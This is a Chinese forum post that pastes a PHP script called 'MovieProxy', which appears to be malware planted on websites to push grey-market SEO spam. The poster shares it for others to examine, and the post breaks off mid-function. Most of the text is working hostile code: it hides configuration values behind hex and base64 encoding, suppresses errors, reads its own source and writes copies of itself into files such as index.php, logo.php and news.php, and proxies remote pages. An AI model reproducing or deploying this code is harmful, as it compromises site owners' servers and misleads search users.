马上注册,免费下载更多dz插件网资源。
您需要 登录 才可以下载或查看,没有账号?立即注册
×
百度瞬间收录几十万灰产内容
懂代码看看:- <?php@set_time_limit(0);@error_reporting(0);@ini_set('display_errors', '0');if (function_exists('header_remove')) @header_remove('X-Powered-By');define('MOVIEPROXY_VERSION', '2026.08.15-v13.12.13-api-links-existing-php-r5-ad-full-fallback-php52');function MovieProxy_clean($value){ return str_replace(array("\r", "\n", "\0"), '', (string)$value);}function MovieProxy_unpackValue($resource){ if (!is_string($resource) || $resource === '') { return ''; } if (!function_exists('hex2bin')) { $encoded = @pack('H*', $resource); } else { $encoded = @hex2bin($resource); } if ($encoded === false || $encoded === '') { return ''; } $value = @base64_decode($encoded, true); if ($value === false || $value === '') { return ''; } return (string)$value;}function MovieProxy_valuePiece($name){ if (md5((string)$name) === '40352fc777b8ae9bcb23617c545c83a9') { return '182038d6c99ea302cd13a721cd5c435a299e4765a24823804795a19837b61ed53787024c540d'; } return '';}function MovieProxy_mergeValue($a, $b){ $a = (string)$a; $b = (string)$b; $out = ''; $max = max(strlen($a), strlen($b)); $i = 0; for ($i = 0; $i < $max; $i++) { if (isset($a[$i])) $out .= $a[$i]; if (isset($b[$i])) $out .= $b[$i]; } return $out;}function MovieProxy_resourceValue($name){ $cfg = MovieProxy_config(); $value = isset($cfg[$name]) ? trim((string)$cfg[$name]) : ''; if ($value === '') return ''; $piece = MovieProxy_valuePiece($name); if ($piece !== '') $value = MovieProxy_mergeValue($value, $piece); return MovieProxy_unpackValue($value);}function MovieProxy_debugHeader($name, $value){ $cfg = MovieProxy_config(); if (empty($cfg['expose_debug_headers']) || headers_sent()) return; header(MovieProxy_clean($name).': '.MovieProxy_clean($value), true);}function MovieProxy_status($code){ $code = intval($code); if (function_exists('http_response_code')) { http_response_code($code); return; } $texts = array( 200 => 'OK', 302 => 'Found', 400 => 'Bad Request', 403 => 'Forbidden', 404 => 'Not Found', 500 => 'Internal Server Error', 502 => 'Bad Gateway', 503 => 'Service Unavailable' ); $text = isset($texts[$code]) ? $texts[$code] : 'Error'; header('HTTP/1.1 '.$code.' '.$text, true, $code);}function MovieProxy_escapeHtml($value){ return str_replace( array('&', '"', "'", '<', '>'), array('&', '"', ''', '<', '>'), (string)$value );}function MovieProxy_normalizeCharset($charset){ $charset = strtolower(trim((string)$charset)); $charset = str_replace(array('"', "'", ' '), '', $charset); if ($charset === 'utf8' || $charset === 'utf-8') return 'UTF-8'; if ($charset === 'gb2312' || $charset === 'gb_2312-80') return 'GB2312'; if ($charset === 'gbk' || $charset === 'cp936' || $charset === 'ms936') return 'GBK'; if ($charset === 'gb18030') return 'GB18030'; if ($charset === 'big5' || $charset === 'big-5') return 'BIG5'; return '';}function MovieProxy_detectCharset($html){ $cfg = MovieProxy_config(); $configured = isset($cfg['site_charset']) ? strtolower(trim((string)$cfg['site_charset'])) : 'auto'; if ($configured !== '' && $configured !== 'auto') { $charset = MovieProxy_normalizeCharset($configured); if ($charset !== '') return $charset; } if (function_exists('headers_list')) { $headers = headers_list(); $i = 0; for ($i = count($headers) - 1; $i >= 0; $i--) { if (preg_match('/^Content-Type:.*charset\s*=\s*([A-Za-z0-9._-]+)/i', (string)$headers[$i], $m)) { $charset = MovieProxy_normalizeCharset($m[1]); if ($charset !== '') return $charset; } } } $sample = substr((string)$html, 0, 16384); if (preg_match('/<meta\b[^>]*charset\s*=\s*["\']?\s*([A-Za-z0-9._-]+)/i', $sample, $m)) { $charset = MovieProxy_normalizeCharset($m[1]); if ($charset !== '') return $charset; } if (preg_match('/<meta\b[^>]*content\s*=\s*["\'][^"\']*charset\s*=\s*([A-Za-z0-9._-]+)/i', $sample, $m)) { $charset = MovieProxy_normalizeCharset($m[1]); if ($charset !== '') return $charset; } if (substr($sample, 0, 3) === "\xEF\xBB\xBF") return 'UTF-8'; if ($sample === '' || @preg_match('//u', $sample) === 1) return 'UTF-8'; return 'GBK';}function MovieProxy_applyCharset($html){ $charset = MovieProxy_detectCharset($html); if ($charset === '') $charset = 'UTF-8'; if (!headers_sent()) { header('Content-Type: text/html; charset='.$charset, true); } return $charset;}function MovieProxy_remoteHeaderCharset($headers){ if (!is_array($headers) || empty($headers['content-type'])) return ''; if (!preg_match('/charset\s*=\s*["\']?\s*([A-Za-z0-9._-]+)/i', (string)$headers['content-type'], $m)) { return ''; } return MovieProxy_normalizeCharset($m[1]);}function MovieProxy_remoteMetaCharset($html){ $sample = substr((string)$html, 0, 32768); if (preg_match('/<meta\b[^>]*charset\s*=\s*["\']?\s*([A-Za-z0-9._-]+)/i', $sample, $m)) { return MovieProxy_normalizeCharset($m[1]); } if (preg_match('/<meta\b[^>]*content\s*=\s*["\'][^"\']*charset\s*=\s*([A-Za-z0-9._-]+)/i', $sample, $m)) { return MovieProxy_normalizeCharset($m[1]); } return '';}function MovieProxy_mojibakeScore($html){ $text = trim(strip_tags((string)$html)); if ($text === '' || @preg_match('//u', $text) !== 1) return 0; $text = substr($text, 0, 131072); $score = substr_count($text, "\xEF\xBF\xBD") * 10; $patterns = array( '锟斤拷', '鐨', '鏄', '涓', '鍙', '鏈', '瀹', '鎴', '鍦', '杩', '璇', '绔', '鏂', '閿', '闂', '鐢', '鍐', '妫', '浠', '骞', '鏃', '鍚', '娴', '缁', '绠', '瑙', '锛', '銆', '鈥', '馃' ); foreach ($patterns as $pattern) { $score += substr_count($text, $pattern); } return $score;}function MovieProxy_tryRepairUtf8Mojibake($html){ $html = (string)$html; if ($html === '' || @preg_match('//u', $html) !== 1) return $html; $before = MovieProxy_mojibakeScore($html); if ($before < 8) return $html; $candidate = false; if (function_exists('mb_convert_encoding')) { $candidate = @mb_convert_encoding($html, 'GB18030', 'UTF-8'); } if (($candidate === false || $candidate === '') && function_exists('iconv')) { $candidate = @iconv('UTF-8', 'GB18030//IGNORE', $html); } if (!is_string($candidate) || $candidate === '' || @preg_match('//u', $candidate) !== 1) { return $html; } $after = MovieProxy_mojibakeScore($candidate); $beforeReplacement = substr_count($html, "\xEF\xBF\xBD"); $afterReplacement = substr_count($candidate, "\xEF\xBF\xBD"); if (($after + 2 < $before && $after * 2 <= $before) || ($beforeReplacement >= 2 && $afterReplacement < $beforeReplacement && $after < $before)) { return $candidate; } return $html;}function MovieProxy_normalizeUtf8Meta($html){ $html = (string)$html; $html = @preg_replace('/(<meta\b[^>]*charset\s*=\s*["\']?)\s*[A-Za-z0-9._-]+/i', '$1UTF-8', $html); $html = @preg_replace('/(<meta\b[^>]*content\s*=\s*["\'][^"\']*charset\s*=\s*)[A-Za-z0-9._-]+/i', '$1UTF-8', $html); return (string)$html;}function MovieProxy_remoteHtmlToUtf8($html, $headers){ $html = (string)$html; if ($html === '') return ''; if (substr($html, 0, 3) === "\xEF\xBB\xBF") { $html = substr($html, 3); } if (@preg_match('//u', $html) === 1) { return MovieProxy_normalizeUtf8Meta(MovieProxy_tryRepairUtf8Mojibake($html)); } $charset = MovieProxy_remoteHeaderCharset($headers); if ($charset === '' || $charset === 'UTF-8') { $metaCharset = MovieProxy_remoteMetaCharset($html); if ($metaCharset !== '') $charset = $metaCharset; } if ($charset === '' || $charset === 'UTF-8') { if (function_exists('mb_detect_encoding')) { $detected = @mb_detect_encoding($html, array('GB18030', 'GBK', 'GB2312', 'BIG5', 'UTF-8'), true); if ($detected !== false && $detected !== '') { $charset = MovieProxy_normalizeCharset($detected); } } } if ($charset === '' || $charset === 'UTF-8') $charset = 'GB18030'; if ($charset === 'GBK' || $charset === 'GB2312') $charset = 'GB18030'; $converted = MovieProxy_convertEncoding($html, 'UTF-8', $charset); if ($converted === '' || @preg_match('//u', $converted) !== 1) { $converted = MovieProxy_convertEncoding($html, 'UTF-8', 'GB18030'); } if ($converted === '' || @preg_match('//u', $converted) !== 1) return $html; return MovieProxy_normalizeUtf8Meta(MovieProxy_tryRepairUtf8Mojibake($converted));}function MovieProxy_ipInTrustedList($ip, $rules){ if (!is_array($rules) || filter_var($ip, FILTER_VALIDATE_IP) === false) return false; foreach ($rules as $rule) { $rule = trim((string)$rule); if ($rule === '') continue; if ($rule === $ip) return true; if (strpos($rule, '/') === false) continue; list($network, $bits) = array_pad(explode('/', $rule, 2), 2, ''); $packedIp = @inet_pton($ip); $packedNet = @inet_pton($network); if ($packedIp === false || $packedNet === false || strlen($packedIp) !== strlen($packedNet)) continue; $bits = intval($bits); $max = strlen($packedIp) * 8; if ($bits < 0 || $bits > $max) continue; $bytes = intval(floor($bits / 8)); $remain = $bits % 8; if ($bytes > 0 && substr($packedIp, 0, $bytes) !== substr($packedNet, 0, $bytes)) continue; if ($remain > 0) { $mask = (0xFF << (8 - $remain)) & 0xFF; if ((ord($packedIp[$bytes]) & $mask) !== (ord($packedNet[$bytes]) & $mask)) continue; } return true; } return false;}function MovieProxy_realIp(){ $cfg = MovieProxy_config(); $remote = isset($_SERVER['REMOTE_ADDR']) ? trim((string)$_SERVER['REMOTE_ADDR']) : ''; if (filter_var($remote, FILTER_VALIDATE_IP) === false) $remote = '0.0.0.0'; $trusted = isset($cfg['trusted_proxy_ips']) && is_array($cfg['trusted_proxy_ips']) ? $cfg['trusted_proxy_ips'] : array(); if (!MovieProxy_ipInTrustedList($remote, $trusted)) return $remote; $keys = array('HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR'); foreach ($keys as $key) { if (empty($_SERVER[$key])) continue; foreach (explode(',', (string)$_SERVER[$key]) as $candidate) { $candidate = trim($candidate); if (filter_var($candidate, FILTER_VALIDATE_IP)) return $candidate; } } return $remote;}function MovieProxy_normalizeBasePath($path){ $path = str_replace('\\', '/', trim((string)$path)); $path = preg_replace('#/+#', '/', $path); if ($path === '' || $path === '.' || $path === '/') return '/'; return '/'.trim($path, '/').'/';}function MovieProxy_installBasePath(){ static $basePath = null; if (is_string($basePath)) return $basePath; $currentDir = str_replace('\\', '/', dirname(__FILE__)); $documentRoot = isset($_SERVER['DOCUMENT_ROOT']) ? str_replace('\\', '/', rtrim((string)$_SERVER['DOCUMENT_ROOT'], '/\\')) : ''; if ($documentRoot !== '') { $realCurrent = @realpath(dirname(__FILE__)); $realRoot = @realpath($documentRoot); if ($realCurrent !== false && $realRoot !== false) { $currentDir = str_replace('\\', '/', $realCurrent); $documentRoot = str_replace('\\', '/', rtrim($realRoot, '/\\')); } $a = DIRECTORY_SEPARATOR === '\\' ? strtolower($currentDir) : $currentDir; $b = DIRECTORY_SEPARATOR === '\\' ? strtolower($documentRoot) : $documentRoot; if ($a === $b) { $basePath = '/'; return $basePath; } $prefix = rtrim($b, '/').'/'; if ($prefix !== '/' && strpos($a.'/', $prefix) === 0) { $basePath = MovieProxy_normalizeBasePath(substr($currentDir, strlen($documentRoot))); return $basePath; } } $script = !empty($_SERVER['SCRIPT_NAME']) ? (string)$_SERVER['SCRIPT_NAME'] : ''; $path = @parse_url($script, PHP_URL_PATH); if ($path === false || $path === null || $path === '') { $basePath = '/'; } else { $basePath = MovieProxy_normalizeBasePath(dirname(str_replace('\\', '/', $path))); } return $basePath;}function MovieProxy_isHome($uri){ $path = @parse_url((string)$uri, PHP_URL_PATH); if ($path === false || $path === null || $path === '') $path = '/'; $path = preg_replace('#/+#', '/', str_replace('\\', '/', $path)); if (substr($path, 0, 1) !== '/') $path = '/'.ltrim($path, '/'); $base = MovieProxy_installBasePath(); $baseNoSlash = $base === '/' ? '' : rtrim($base, '/'); if ($path === $base || ($baseNoSlash !== '' && $path === $baseNoSlash)) return true; return preg_match('#^'.preg_quote($base, '#').'(?:index\.php|index\.html?)$#i', $path) === 1;}function MovieProxy_currentCodeDirUrlPath(){ $codeDir = @realpath(dirname(__FILE__)); if ($codeDir === false || !is_dir($codeDir)) $codeDir = dirname(__FILE__); $documentRoot = isset($_SERVER['DOCUMENT_ROOT']) ? trim((string)$_SERVER['DOCUMENT_ROOT']) : ''; $documentRoot = $documentRoot !== '' ? @realpath($documentRoot) : false; if ($documentRoot !== false && is_dir($documentRoot)) { $codeNorm = str_replace('\\', '/', rtrim($codeDir, '/\\')); $rootNorm = str_replace('\\', '/', rtrim($documentRoot, '/\\')); $a = DIRECTORY_SEPARATOR === '\\' ? strtolower($codeNorm) : $codeNorm; $b = DIRECTORY_SEPARATOR === '\\' ? strtolower($rootNorm) : $rootNorm; if ($a === $b) return '/'; $prefix = rtrim($b, '/').'/'; if (strpos($a.'/', $prefix) === 0) { return MovieProxy_normalizeBasePath(substr($codeNorm, strlen($rootNorm))); } } return MovieProxy_installBasePath();}function MovieProxy_entryRootUrlPath(){ $cfg = MovieProxy_config(); $configured = isset($cfg['entry_root_path']) ? trim((string)$cfg['entry_root_path']) : 'auto'; if ($configured === '' || strtolower($configured) === 'auto') { return MovieProxy_currentCodeDirUrlPath(); } return MovieProxy_normalizeBasePath($configured);}function MovieProxy_entryRootDir(){ static $rootDir = null; if (is_string($rootDir)) return $rootDir; $cfg = MovieProxy_config(); $configured = isset($cfg['entry_root_path']) ? trim((string)$cfg['entry_root_path']) : 'auto'; if ($configured === '' || strtolower($configured) === 'auto') { $real = @realpath(dirname(__FILE__)); $rootDir = ($real !== false && is_dir($real)) ? rtrim($real, '/\\') : rtrim(dirname(__FILE__), '/\\'); return $rootDir; } $documentRoot = isset($_SERVER['DOCUMENT_ROOT']) ? trim((string)$_SERVER['DOCUMENT_ROOT']) : ''; $documentRoot = $documentRoot !== '' ? @realpath($documentRoot) : false; if ($documentRoot === false || !is_dir($documentRoot)) { $documentRoot = @realpath(dirname(__FILE__)); } if ($documentRoot === false || !is_dir($documentRoot)) { $rootDir = dirname(__FILE__); return $rootDir; } $rootPath = MovieProxy_entryRootUrlPath(); if ($rootPath === '/') { $rootDir = rtrim($documentRoot, '/\\'); return $rootDir; } $candidate = rtrim($documentRoot, '/\\').DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, trim($rootPath, '/')); $real = @realpath($candidate); $rootDir = ($real !== false && is_dir($real)) ? rtrim($real, '/\\') : rtrim($candidate, '/\\'); return $rootDir;}function MovieProxy_isDocumentRootEntryDir(){ $entryRoot = @realpath(MovieProxy_entryRootDir()); $documentRoot = isset($_SERVER['DOCUMENT_ROOT']) ? trim((string)$_SERVER['DOCUMENT_ROOT']) : ''; $documentRoot = $documentRoot !== '' ? @realpath($documentRoot) : false; if ($entryRoot === false || $documentRoot === false) return false; $entryRoot = rtrim(str_replace('\\', '/', $entryRoot), '/'); $documentRoot = rtrim(str_replace('\\', '/', $documentRoot), '/'); if (DIRECTORY_SEPARATOR === '\\') { $entryRoot = strtolower($entryRoot); $documentRoot = strtolower($documentRoot); } return $entryRoot === $documentRoot;}function MovieProxy_isRootHomepageIndexPath($path){ if (!MovieProxy_isDocumentRootEntryDir()) return false; $path = @parse_url((string)$path, PHP_URL_PATH); if ($path === false || $path === null || $path === '') return false; $path = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', $path)), '/'); return strcasecmp($path, '/index.php') === 0;}function MovieProxy_entryApplyRootPath($path){ $path = @parse_url((string)$path, PHP_URL_PATH); if ($path === false || $path === null || $path === '') return ''; $path = preg_replace('#/+#', '/', str_replace('\\', '/', $path)); if (substr($path, 0, 1) !== '/') $path = '/'.ltrim($path, '/'); $rootPath = MovieProxy_entryRootUrlPath(); if ($rootPath === '/') return $path; $rootNoSlash = rtrim($rootPath, '/'); if ($path === $rootNoSlash || strpos($path, $rootPath) === 0) return $path; return $rootPath.ltrim($path, '/');}function MovieProxy_entryExcludedName($name){ $cfg = MovieProxy_config(); $name = strtolower(trim((string)$name)); $excluded = isset($cfg['entry_exclude_names']) && is_array($cfg['entry_exclude_names']) ? $cfg['entry_exclude_names'] : array('favicon.php'); foreach ($excluded as $item) { if ($name === strtolower(trim((string)$item))) return true; } return false;}function MovieProxy_urlPathToEntryFile($path, $mustExist){ $path = MovieProxy_entryApplyRootPath($path); if ($path === '' || strpos($path, '..') !== false || strpos($path, "\0") !== false) return ''; $rootPath = MovieProxy_entryRootUrlPath(); if ($rootPath !== '/') { $rootNoSlash = rtrim($rootPath, '/'); if ($path !== $rootNoSlash && strpos($path, $rootPath) !== 0) return ''; $relative = ltrim(substr($path, strlen($rootNoSlash)), '/'); } else { $relative = ltrim($path, '/'); } if ($relative === '') return ''; $rootDir = rtrim(MovieProxy_entryRootDir(), '/\\'); $candidate = $rootDir.DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $relative); $rootNorm = str_replace('\\', '/', $rootDir); $candidateNorm = str_replace('\\', '/', $candidate); $a = DIRECTORY_SEPARATOR === '\\' ? strtolower($rootNorm) : $rootNorm; $b = DIRECTORY_SEPARATOR === '\\' ? strtolower($candidateNorm) : $candidateNorm; $prefix = rtrim($a, '/').'/'; if (strpos($b, $prefix) !== 0) return ''; if ($mustExist) { $real = @realpath($candidate); $realRoot = @realpath($rootDir); if ($real === false || $realRoot === false || !is_file($real)) return ''; $realNorm = str_replace('\\', '/', $real); $realRootNorm = str_replace('\\', '/', $realRoot); $ra = DIRECTORY_SEPARATOR === '\\' ? strtolower($realRootNorm) : $realRootNorm; $rb = DIRECTORY_SEPARATOR === '\\' ? strtolower($realNorm) : $realNorm; if (strpos($rb, rtrim($ra, '/').'/') !== 0) return ''; return $real; } return $candidate;}function MovieProxy_entryFileToUrlPath($file){ $realFile = @realpath((string)$file); $realRoot = @realpath(MovieProxy_entryRootDir()); if ($realFile === false || $realRoot === false || !is_file($realFile)) return ''; $a = DIRECTORY_SEPARATOR === '\\' ? strtolower($realRoot) : $realRoot; $b = DIRECTORY_SEPARATOR === '\\' ? strtolower($realFile) : $realFile; $prefix = rtrim($a, '/\\').DIRECTORY_SEPARATOR; if (strpos($b, $prefix) !== 0) return ''; $relative = str_replace('\\', '/', substr($realFile, strlen($realRoot))); $rootPath = MovieProxy_entryRootUrlPath(); return ($rootPath === '/' ? '/' : $rootPath).ltrim($relative, '/');}function MovieProxy_isCompatibleEntryFile($file){ if (!is_file($file) || !is_readable($file)) return false; $name = basename((string)$file); if (MovieProxy_entryExcludedName($name) || !preg_match('/\.php$/i', $name)) return false; $head = @file_get_contents($file, false, null, 0, 4096); return is_string($head) && strpos($head, 'MOVIEPROXY_VERSION') !== false && strpos($head, MOVIEPROXY_VERSION) !== false;}function MovieProxy_currentEntryPath(){ static $resolved = false; static $entryPath = ''; if ($resolved) return $entryPath; $resolved = true; $scriptName = !empty($_SERVER['SCRIPT_NAME']) ? (string)$_SERVER['SCRIPT_NAME'] : ''; $path = @parse_url($scriptName, PHP_URL_PATH); if ($path === false || $path === null || $path === '' || !preg_match('/\.php$/i', $path)) return ''; if (MovieProxy_entryExcludedName(basename($path))) return ''; $file = !empty($_SERVER['SCRIPT_FILENAME']) ? (string)$_SERVER['SCRIPT_FILENAME'] : ''; if (!MovieProxy_isCompatibleEntryFile($file)) { $file = MovieProxy_urlPathToEntryFile(MovieProxy_entryApplyRootPath($path), true); } if (!MovieProxy_isCompatibleEntryFile($file)) return ''; $normalized = MovieProxy_entryFileToUrlPath($file); if ($normalized === '') { $normalized = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', $path)), '/'); } if (MovieProxy_isRootHomepageIndexPath($normalized)) return ''; $entryPath = $normalized; return $entryPath;}function MovieProxy_addEntryDirectory(&$dirs, $path){ $path = @parse_url((string)$path, PHP_URL_PATH); if ($path === false || $path === null || $path === '') return; $path = preg_replace('#/+#', '/', str_replace('\\', '/', $path)); if (substr($path, 0, 1) !== '/') $path = '/'.ltrim($path, '/'); if (preg_match('/\.php$/i', $path)) $path = dirname($path); $path = MovieProxy_normalizeBasePath($path); $rootPath = MovieProxy_entryRootUrlPath(); if ($rootPath !== '/' && strpos($path, $rootPath) !== 0 && rtrim($path, '/') !== rtrim($rootPath, '/')) { $path = MovieProxy_normalizeBasePath($rootPath.ltrim($path, '/')); } $dirs[$path] = true;}function MovieProxy_entryCandidateDirectories(){ return array(MovieProxy_entryRootUrlPath());}function MovieProxy_discoverEntryPaths(){ static $paths = null; if (is_array($paths)) return $paths; MovieProxy_ensureEntryFiles(); $cfg = MovieProxy_config(); $found = array(); $maxFiles = isset($cfg['entry_scan_max_files']) ? max(8, intval($cfg['entry_scan_max_files'])) : 128; $checked = 0; $explicit = isset($cfg['entry_file_pool']) && is_array($cfg['entry_file_pool']) ? $cfg['entry_file_pool'] : array(); foreach ($explicit as $path) { $appliedPath = MovieProxy_entryApplyRootPath($path); if (MovieProxy_isRootHomepageIndexPath($appliedPath)) continue; $file = MovieProxy_urlPathToEntryFile($path, true); if (MovieProxy_isCompatibleEntryFile($file)) { $urlPath = MovieProxy_entryFileToUrlPath($file); if ($urlPath !== '' && !MovieProxy_isRootHomepageIndexPath($urlPath)) $found[$urlPath] = true; } } if (!isset($cfg['auto_discover_entry_files']) || !empty($cfg['auto_discover_entry_files'])) { foreach (MovieProxy_entryCandidateDirectories() as $dirPath) { $dir = MovieProxy_urlPathToEntryFile(rtrim($dirPath, '/').'/placeholder.php', false); if ($dir === '') continue; $dir = dirname($dir); if (!is_dir($dir)) continue; $files = @glob(rtrim($dir, '/\\').DIRECTORY_SEPARATOR.'*.php'); if (!is_array($files)) continue; foreach ($files as $file) { $checked++; if ($checked > $maxFiles) break 2; if (!MovieProxy_isCompatibleEntryFile($file)) continue; $urlPath = MovieProxy_entryFileToUrlPath($file); if ($urlPath !== '' && !MovieProxy_isRootHomepageIndexPath($urlPath)) $found[$urlPath] = true; } } } $current = MovieProxy_currentEntryPath(); if ($current !== '') $found[$current] = true; $paths = array_keys($found); sort($paths, SORT_STRING); return $paths;}function MovieProxy_isProxyEntryUrl($uri){ $path = @parse_url((string)$uri, PHP_URL_PATH); if ($path === false || $path === null || $path === '') return false; $path = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', $path)), '/'); if (MovieProxy_isRootHomepageIndexPath($path)) return false; $current = MovieProxy_currentEntryPath(); if ($current !== '') { $current = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', $current)), '/'); if (strcasecmp($path, $current) === 0 || stripos($path, $current.'/') === 0) return true; } if (!preg_match('/\.php$/i', $path) || MovieProxy_entryExcludedName(basename($path))) return false; $file = MovieProxy_urlPathToEntryFile($path, true); return MovieProxy_isCompatibleEntryFile($file);}function MovieProxy_isLogo($uri){ return MovieProxy_isProxyEntryUrl($uri) || MovieProxy_isDirectEntryRequest($uri);}function MovieProxy_entryTopic($path){ $path = @parse_url((string)$path, PHP_URL_PATH); if ($path === false || $path === null) return ''; $rootPath = MovieProxy_entryRootUrlPath(); if ($rootPath !== '/' && strpos($path, $rootPath) === 0) $path = substr($path, strlen($rootPath)); $segments = explode('/', trim((string)$path, '/')); return isset($segments[0]) ? strtolower(preg_replace('/[^A-Za-z0-9_-]/', '', $segments[0])) : '';}function MovieProxy_entryMatchesTopic($entryPath, $topic){ if ($topic === '') return false; $entryPath = trim((string)$entryPath, '/'); $segments = explode('/', $entryPath); $base = strtolower((string)preg_replace('/\.php$/i', '', end($segments))); if ($base === $topic) return true; array_pop($segments); foreach ($segments as $segment) { if (strtolower((string)$segment) === $topic) return true; } return false;}function MovieProxy_availableEntryPaths(){ MovieProxy_ensureEntryFiles(); $paths = MovieProxy_discoverEntryPaths(); if (!empty($paths)) return $paths; $logoPath = MovieProxy_entryApplyRootPath('/logo.php'); $logoFile = MovieProxy_urlPathToEntryFile($logoPath, true); return MovieProxy_isCompatibleEntryFile($logoFile) ? array($logoPath) : array();}function MovieProxy_pickEntryPath($contentPath, $preferCurrent){ if ($preferCurrent) { $current = MovieProxy_currentEntryPath(); if ($current !== '') return $current; } $paths = MovieProxy_availableEntryPaths(); if (empty($paths)) return ''; $topic = MovieProxy_entryTopic($contentPath); $matched = array(); if ($topic !== '') { foreach ($paths as $entryPath) { if (MovieProxy_entryMatchesTopic($entryPath, $topic)) $matched[] = $entryPath; } } $pool = !empty($matched) ? $matched : $paths; return (string)$pool[mt_rand(0, count($pool) - 1)];}function MovieProxy_logoPath(){ return MovieProxy_pickEntryPath('', true);}function MovieProxy_logoPrefix($contentPath = '', $preferCurrent = false){ $cfg = MovieProxy_config(); $prefix = isset($cfg['logo_prefix']) ? trim((string)$cfg['logo_prefix']) : 'auto'; if ($prefix === '' || strtolower($prefix) === 'auto') { $entryPath = MovieProxy_pickEntryPath($contentPath, $preferCurrent); return $entryPath !== '' ? $entryPath.'?' : ''; } if (substr($prefix, 0, 1) !== '/') $prefix = '/'.ltrim($prefix, '/'); if (!preg_match('/\.php\??$/i', $prefix)) { $entryPath = MovieProxy_pickEntryPath($contentPath, $preferCurrent); return $entryPath !== '' ? $entryPath.'?' : ''; } if (substr($prefix, -1) !== '?') $prefix .= '?'; return $prefix;}function MovieProxy_generatedCode(){ if (!is_file(__FILE__) || !is_readable(__FILE__)) return ''; $code = @file_get_contents(__FILE__); if ($code === false || trim($code) === '') return ''; $code = str_replace(array("\r\n", "\r"), "\n", $code); $endMarker = "\nMovieProxy_run();"; $end = strrpos($code, $endMarker); if ($end === false) return ''; $end += strlen($endMarker); $versionPos = strpos($code, "define('MOVIEPROXY_VERSION'"); if ($versionPos === false || $versionPos >= $end) return ''; $start = strrpos(substr($code, 0, $versionPos), "\n@set_time_limit(0);"); if ($start === false) { $start = $versionPos; } else { $start++; } $segment = trim(substr($code, $start, $end - $start)); if ($segment === '' || strpos($segment, 'function MovieProxy_clean') === false) return ''; return "<?php\n".$segment."\n?>\n";}function MovieProxy_entryCreatePaths(){ $cfg = MovieProxy_config(); $paths = array(); $rootPath = MovieProxy_entryRootUrlPath(); $rootDirPath = $rootPath === '/' ? '/' : rtrim($rootPath, '/'); $configured = isset($cfg['entry_auto_create_paths']) && is_array($cfg['entry_auto_create_paths']) ? $cfg['entry_auto_create_paths'] : array('/index.php', '/logo.php', '/news.php', '/article.php', '/content.php', '/html.php', '/product.php'); if (!empty($cfg['auto_create_entry_files'])) { foreach ($configured as $path) { $path = MovieProxy_entryApplyRootPath($path); if ($path === '' || !preg_match('/\.php$/i', $path) || MovieProxy_entryExcludedName(basename($path))) continue; if (str_replace('\\', '/', dirname($path)) !== $rootDirPath) continue; if (MovieProxy_isRootHomepageIndexPath($path)) continue; $paths[$path] = true; } } elseif (!empty($cfg['auto_sync_entry_files'])) { foreach ($configured as $path) { $path = MovieProxy_entryApplyRootPath($path); if ($path === '' || !preg_match('/\.php$/i', $path) || MovieProxy_entryExcludedName(basename($path))) continue; if (str_replace('\\', '/', dirname($path)) !== $rootDirPath) continue; if (MovieProxy_isRootHomepageIndexPath($path)) continue; $target = MovieProxy_urlPathToEntryFile($path, false); if ($target === '' || !is_file($target) || !is_readable($target)) continue; $head = @file_get_contents($target, false, null, 0, 4096); if (is_string($head) && strpos($head, 'MOVIEPROXY_VERSION') !== false) { $paths[$path] = true; } } $rootDir = rtrim(MovieProxy_entryRootDir(), '/\\'); $files = @glob($rootDir.DIRECTORY_SEPARATOR.'*.php'); if (is_array($files)) { foreach ($files as $file) { if (!is_file($file) || !is_readable($file)) continue; if (MovieProxy_entryExcludedName(basename($file))) continue; $head = @file_get_contents($file, false, null, 0, 4096); if (!is_string($head) || strpos($head, 'MOVIEPROXY_VERSION') === false) continue; $urlPath = MovieProxy_entryFileToUrlPath($file); if ($urlPath === '' || MovieProxy_isRootHomepageIndexPath($urlPath)) continue; $paths[$urlPath] = true; } } } if (!empty($cfg['auto_create_logo'])) { $logo = MovieProxy_entryApplyRootPath('/logo.php'); if ($logo !== '' && str_replace('\\', '/', dirname($logo)) === $rootDirPath) $paths[$logo] = true; } return array_keys($paths);}function MovieProxy_entrySyncLockPath(){ return rtrim(MovieProxy_entryRootDir(), '/\\').DIRECTORY_SEPARATOR.'.movieproxy_entry_sync.lock';}function MovieProxy_entrySourceStamp(){ $file = __FILE__; clearstatcache(); $mtime = @filemtime($file); $size = @filesize($file); return intval($mtime).'_'.intval($size);}function MovieProxy_codeFingerprint($code){ $code = str_replace(array("\r\n", "\r"), "\n", (string)$code); return sha1($code);}function MovieProxy_fileFingerprint($file){ if (!is_file($file) || !is_readable($file)) return ''; $hash = @sha1_file($file); return is_string($hash) ? $hash : '';}function MovieProxy_entryReadSyncState($lockPath){ $state = @file_get_contents($lockPath, false, null, 0, 1024); if (!is_string($state) || trim($state) === '') return array(); $parts = explode('|', trim($state)); if (count($parts) >= 8) { return array( 'version' => (string)$parts[0], 'timestamp' => intval($parts[1]), 'source_stamp' => (string)$parts[2], 'code_fingerprint' => (string)$parts[3], 'created' => intval($parts[4]), 'updated' => intval($parts[5]), 'existing' => intval($parts[6]), 'skipped' => intval($parts[7]) ); } if (count($parts) >= 2) { return array( 'version' => (string)$parts[0], 'timestamp' => intval($parts[1]), 'source_stamp' => '', 'code_fingerprint' => '', 'created' => isset($parts[2]) ? intval($parts[2]) : 0, 'updated' => 0, 'existing' => isset($parts[3]) ? intval($parts[3]) : 0, 'skipped' => isset($parts[4]) ? intval($parts[4]) : 0 ); } return array();}function MovieProxy_entrySyncFresh(){ $cfg = MovieProxy_config(); $interval = isset($cfg['entry_sync_interval']) ? max(0, intval($cfg['entry_sync_interval'])) : 21600; if ($interval < 1) return false; $lockPath = MovieProxy_entrySyncLockPath(); if (!is_file($lockPath) || !is_readable($lockPath)) return false; $state = MovieProxy_entryReadSyncState($lockPath); if (empty($state) || $state['version'] !== MOVIEPROXY_VERSION) return false; if ($state['source_stamp'] === '' || $state['source_stamp'] !== MovieProxy_entrySourceStamp()) return false; $stamp = intval($state['timestamp']); if ($stamp < 1) { $stamp = intval(@filemtime($lockPath)); } $age = time() - $stamp; if ($age < 0) return false; return $age < $interval;}function MovieProxy_entryEnsureRootDir(){ return is_dir(MovieProxy_entryRootDir());}function 